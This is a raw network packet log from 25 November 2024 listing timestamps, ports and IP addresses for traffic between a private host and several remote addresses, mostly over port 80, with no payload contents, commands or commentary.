Nov 25, 2024 03:40:03.558012009 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.558151007 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.566277981 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.566386938 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.566412926 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.567110062 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.574723005 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.574824095 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.575134993 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.583136082 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.583195925 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.583224058 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.585733891 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.591478109 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.591572046 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.591597080 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.593806028 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.599102974 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.599211931 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.599483967 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.607775927 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.607795000 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.607861042 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.607861042 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.651360035 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.651777029 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.706784010 CET	443	49794	172.64.41.3	192.168.2.8
Nov 25, 2024 03:40:03.706851006 CET	443	49794	172.64.41.3	192.168.2.8
Nov 25, 2024 03:40:03.707340002 CET	49794	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:40:03.731616020 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.731697083 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.732076883 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.733108997 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.733239889 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.733266115 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.733760118 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.738154888 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.738250971 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.738280058 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.738522053 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.743264914 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.743347883 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.743366957 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.743431091 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.743546963 CET	443	49795	172.64.41.3	192.168.2.8
Nov 25, 2024 03:40:03.743617058 CET	443	49795	172.64.41.3	192.168.2.8
Nov 25, 2024 03:40:03.743685007 CET	49795	443	192.168.2.8	172.64.41.3
Nov 25, 2024 03:40:03.744321108 CET	443	49797	162.159.61.3	192.168.2.8
Nov 25, 2024 03:40:03.744369030 CET	443	49797	162.159.61.3	192.168.2.8
Nov 25, 2024 03:40:03.744636059 CET	49797	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:40:03.748301983 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.748399973 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.748430014 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.748459101 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.753381014 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.753429890 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.753459930 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.753566027 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.758425951 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.758497953 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.758577108 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.763497114 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.763591051 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.763674021 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.768548012 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.768624067 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.768654108 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.768702030 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.773576975 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.773686886 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.773721933 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.773993015 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.778641939 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.778739929 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.778764963 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.778811932 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.782331944 CET	443	49796	162.159.61.3	192.168.2.8
Nov 25, 2024 03:40:03.782433987 CET	443	49796	162.159.61.3	192.168.2.8
Nov 25, 2024 03:40:03.782560110 CET	49796	443	192.168.2.8	162.159.61.3
Nov 25, 2024 03:40:03.784472942 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.784543037 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.784569025 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.784789085 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.787651062 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.787674904 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.787730932 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.787731886 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.791404009 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.791513920 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.791539907 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.791727066 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.795319080 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.795373917 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.795383930 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.795448065 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.799048901 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.799110889 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.799134970 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.799197912 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.933383942 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.933505058 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.933547974 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.933584929 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.934943914 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.935010910 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.935055017 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.937974930 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.938235044 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.938350916 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.938502073 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.941457987 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.941576958 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.941715956 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.944669962 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.944798946 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.944926023 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.947923899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.948045969 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.948076010 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.949719906 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.951176882 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.951320887 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.951345921 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.953813076 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.954405069 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.954529047 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.954588890 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.957675934 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.957817078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.958014965 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.960962057 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.961066961 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.961102009 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.961770058 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.964205027 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.964322090 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.964438915 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.967468977 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.967581034 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.967725039 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.970700026 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.970830917 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.971158028 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.973982096 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.974123001 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.974145889 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.974194050 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.977142096 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.977291107 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.977312088 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.977433920 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.980366945 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.980583906 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.980752945 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.983784914 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.983874083 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.984066010 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.986913919 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.986932993 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.987006903 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.987006903 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.990145922 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.990274906 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.990420103 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.993398905 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.993516922 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.993607044 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.996656895 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.996758938 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.996793032 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.996896982 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:03.999883890 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:03.999980927 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.000014067 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.000248909 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.003115892 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.003236055 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.003272057 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.003494978 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.006359100 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.006474972 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.006833076 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.009629965 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.009691954 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.013802052 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.134581089 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.134704113 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.134738922 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.136010885 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.136096954 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.136127949 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.136509895 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.138742924 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.138864040 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.138928890 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.138928890 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.141762018 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.141782045 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.141844034 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.141844034 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.144356966 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.144460917 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.144490004 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.144639015 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.147186995 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.147267103 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.147615910 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.149955034 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.150068998 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.150156021 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.152779102 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.152915001 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.152947903 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.153049946 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.155560970 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.155670881 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.155742884 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.155742884 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.158391953 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.158473015 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.158502102 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.161164045 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.161304951 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.161334038 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.161545038 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.163947105 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.164067030 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.164232016 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.166815042 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.166881084 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.167082071 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.169630051 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.169709921 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.172343016 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.172452927 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.172487974 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.172708035 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.175154924 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.175260067 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.175616980 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.177927971 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.178045988 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.178184032 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.180732012 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.180866003 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.181010008 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.183548927 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.183653116 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.183803082 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.186347008 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.186470985 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.186795950 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.189172983 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.189254045 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.189282894 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.189775944 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.191978931 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.192091942 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.192240000 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.194761992 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.194850922 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.194962978 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.197565079 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.197684050 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.197714090 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.200383902 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.200438976 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.200474024 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.200829029 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.203171015 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.203239918 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.203268051 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.203377962 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.206064939 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.206111908 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.206191063 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.206191063 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.208777905 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.208901882 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.208934069 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.208986998 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.211574078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.211653948 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.212002993 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.214365005 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.214469910 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.214617968 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.217215061 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.217367887 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.217611074 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.219995022 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.220103025 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.220129967 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.220293045 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.222740889 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.222897053 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.222939968 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.222958088 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.225553036 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.225671053 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.225712061 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.228332043 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.228401899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.228434086 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.228502989 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.231173038 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.231374025 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.231405973 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.233805895 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.234008074 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.234091043 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.236793995 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.236892939 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.236926079 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.237314939 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.239593983 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.239712000 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.239787102 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.242337942 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.242449999 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.242485046 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.245151043 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.245285988 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.245311975 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.245445967 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.247970104 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.248158932 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.248671055 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.250750065 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.250848055 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.250880957 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.253783941 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.335900068 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.335947037 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.336033106 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.337047100 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.337157965 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:04.337179899 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.337277889 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:04.339334011 CET	80	49841	185.215.113.16	192.168.2.8
